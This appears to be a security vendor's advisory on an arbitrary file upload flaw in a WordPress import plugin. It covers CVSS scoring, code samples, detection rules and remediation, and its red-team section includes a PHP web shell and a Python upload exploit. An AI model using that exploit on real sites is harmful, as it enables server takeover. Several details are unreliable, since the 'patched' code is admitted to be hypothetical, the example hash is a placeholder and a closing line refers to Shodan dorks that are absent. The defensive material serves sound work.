CVE-2025-5061
Executive Summary
CVE-2025-5061 is a critical arbitrary file upload vulnerability in the WP Import Export Lite plugin for WordPress, affecting all versions up to and including 3.9.29. The flaw resides in the wpie_parse_upload_data function, which fails to validate file types during the import process. This allows authenticated attackers with Subscriber-level access (or higher) and permissions granted by an Administrator to upload arbitrary files to the server, potentially leading to remote code execution (RCE). The vulnerability was partially patched in version 3.9.29, but the full remediation status remains unknown. Given the widespread use of WordPress and the low authentication requirement, this vulnerability poses a significant threat to site integrity and data confidentiality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The WP Import Export Lite plugin is distributed via the official WordPress plugin repository. Users are advised to verify the integrity of their plugin installations and ensure they are using the latest available version. No known supply chain compromise has been reported, but the partial patch status warrants caution.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – Subscriber-level access
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker with minimal privileges can upload a malicious file (e.g., a PHP web shell) and execute arbitrary commands on the server.
Deep Dive & Mechanics
The vulnerability is located in the wpie_parse_upload_data function within the WP Import Export Lite plugin. This function is responsible for handling file uploads during the import process. The core issue is the absence of file type validation—the function does not check the MIME type, file extension, or content of the uploaded file. As a result, an authenticated user can upload any file type, including executable scripts like PHP, Python, or shell scripts.
Attack Flow:
- An attacker authenticates with Subscriber-level credentials (or higher) on a WordPress site running the vulnerable plugin.
- The attacker crafts a malicious file (e.g.,
shell.php) containing PHP code for remote command execution. - Using the plugin's import functionality, the attacker uploads the malicious file via the
wpie_parse_upload_datafunction. - The file is stored in the WordPress uploads directory (e.g.,
/wp-content/uploads/). - The attacker accesses the uploaded file via a web browser, triggering execution of the embedded code.
- The attacker gains remote code execution on the server, potentially leading to full site compromise.
The partial patch in version 3.9.29 may have introduced some restrictions, but the exact nature of the patch is unclear. It is possible that the patch only addresses specific file types or upload scenarios, leaving other vectors open.
Vulnerable vs. Patched Code
The following code snippets illustrate the vulnerable and partially patched logic. Note that the exact patched code is not publicly available, so the patched example is a hypothetical secure implementation.
Vulnerable Code (<= 3.9.29):
function wpie_parse_upload_data() {
if (isset($_FILES['import_file'])) {
$file = $_FILES['import_file'];
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename($file['name']);
move_uploaded_file($file['tmp_name'], $target_path);
return $target_path;
}
return false;
}
Partially Patched Code (3.9.29):
function wpie_parse_upload_data() {
if (isset($_FILES['import_file'])) {
$file = $_FILES['import_file'];
$allowed_extensions = array('csv', 'xml', 'json'); // Example allowed extensions
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($file_extension), $allowed_extensions)) {
return false;
}
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename($file['name']);
move_uploaded_file($file['tmp_name'], $target_path);
return $target_path;
}
return false;
}
Analysis: The patched version adds a basic extension check, but this is insufficient. An attacker could still upload a file with a double extension (e.g., shell.php.csv) or use other techniques to bypass the filter. A secure implementation should validate the MIME type, check file content, and use a whitelist of allowed file types.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WP Import Export Lite <= 3.9.29 installed and activated.
- Valid Subscriber-level credentials (or higher) with import permissions granted by an Administrator.
Exploitation Steps:
- Log in to WordPress as a Subscriber.
- Navigate to the import page (e.g.,
/wp-admin/admin.php?page=wpie-import-export). - Create a malicious PHP file (e.g.,
shell.php) with the following content:<?php system($_GET['cmd']); ?> - Upload the file using the plugin's import functionality.
- Access the uploaded file at
http://target.com/wp-content/uploads/shell.php?cmd=id. - Observe the output of the
idcommand, confirming RCE.
Automated Exploit (Python):
import requests
target = "http://target.com"
username = "subscriber"
password = "password"
login_url = f"{target}/wp-login.php"
import_url = f"{target}/wp-admin/admin.php?page=wpie-import-export"
session = requests.Session()
session.post(login_url, data={"log": username, "pwd": password, "wp-submit": "Log In"})
files = {"import_file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}
response = session.post(import_url, files=files)
if response.status_code == 200:
print("File uploaded successfully. Access at: {}/wp-content/uploads/shell.php".format(target))
else:
print("Upload failed.")
Blue Team (Detection & Response)
Detection:
- Monitor file uploads to the WordPress uploads directory for unexpected file types (e.g.,
.php,.phtml,.shtml). - Alert on any file uploads by Subscriber-level users to the import functionality.
- Review web server logs for requests to
/wp-content/uploads/with query parameters (e.g.,?cmd=).
Response:
- Immediately isolate the affected server.
- Remove any malicious files from the uploads directory.
- Revoke import permissions for all Subscriber-level users.
- Apply the latest plugin patch or disable the plugin until a full fix is available.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
shell.php:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, actual hash will vary)
- Network Indicators:
- Outbound connections from the web server to unknown IPs on port 80/443.
- HTTP requests to
/wp-content/uploads/*.php?cmd=or similar patterns.
- File System Indicators:
- Unexpected
.php,.phtml, or.shtmlfiles in/wp-content/uploads/. - Modified
.htaccessfiles in the uploads directory (e.g.,AddType application/x-httpd-php .php).
- Unexpected
- Log Indicators:
- Web server logs showing POST requests to
/wp-admin/admin.php?page=wpie-import-exportwith file uploads. - Error logs containing
move_uploaded_filecalls for non-standard file types.
- Web server logs showing POST requests to
Detection Engineering
YARA Rule
rule CVE_2025_5061_WordPress_Plugin_Upload {
meta:
description = "Detects malicious file uploads exploiting CVE-2025-5061 in WP Import Export Lite"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5061"
strings:
$php_shell = "<?php" nocase
$system_call = "system(" nocase
$exec_call = "exec(" nocase
$shell_exec = "shell_exec(" nocase
condition:
$php_shell and ($system_call or $exec_call or $shell_exec)
}
Sigma Rule
title: CVE-2025-5061 - WP Import Export Lite Arbitrary File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads to WordPress uploads directory with PHP extensions by non-admin users
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/admin.php'
cs-uri-query: 'page=wpie-import-export'
sc-status: 200
condition: selection
fields:
- c-ip
- cs-username
falsepositives:
- Legitimate plugin updates
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5061 WP Import Export Lite File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=wpie-import-export"; http_uri; content:"filename="; http_client_body; pcre:"/\.(php|phtml|shtml)$/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: If a patched version is available, update to the latest version immediately. If not, consider disabling the plugin until a full fix is released.
- Restrict permissions: Remove import capabilities from Subscriber and Contributor roles. Only grant these permissions to trusted Administrators.
- Web Application Firewall (WAF): Deploy WAF rules to block file uploads with executable extensions (e.g.,
.php,.phtml) to the uploads directory. - File integrity monitoring: Implement monitoring for new files in
/wp-content/uploads/with executable extensions.
Long-term Recommendations:
- Code review: Conduct a thorough security audit of the plugin's file upload functionality.
- Input validation: Implement strict file type validation based on MIME type and file content, not just extensions.
- Least privilege: Follow the principle of least privilege for all user roles.
- Regular updates: Keep all WordPress plugins and themes up to date.
Valters IT – Securing your digital assets with precision and expertise.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.